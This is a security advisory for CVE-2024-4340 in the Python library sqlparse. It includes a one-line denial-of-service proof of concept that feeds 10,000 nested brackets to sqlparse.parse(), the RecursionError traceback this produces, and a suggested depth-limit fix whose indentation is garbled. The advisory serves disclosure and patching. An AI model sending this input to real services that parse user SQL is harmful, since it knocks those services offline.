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Security Advisories: GSA_kwCzR0hTQS0ybTU3LWhmMjUtcGhnZ84AA7Be

sqlparse parsing heavily nested list leads to Denial of Service

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.

Permalink: https://github.com/advisories/GHSA-2m57-hf25-phgg
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybTU3LWhmMjUtcGhnZ84AA7Be
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: 18 days ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-2m57-hf25-phgg, CVE-2024-4340
References: Repository: https://github.com/andialbrecht/sqlparse
Blast Radius: 39.8

Affected Packages

pypi:sqlparse
Dependent packages: 429
Dependent repositories: 201,134
Downloads: 49,768,876 last month
Affected Version Ranges: < 0.5.0
Fixed in: 0.5.0
All affected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.3.0, 0.3.1, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.4.4
All unaffected versions: 0.5.0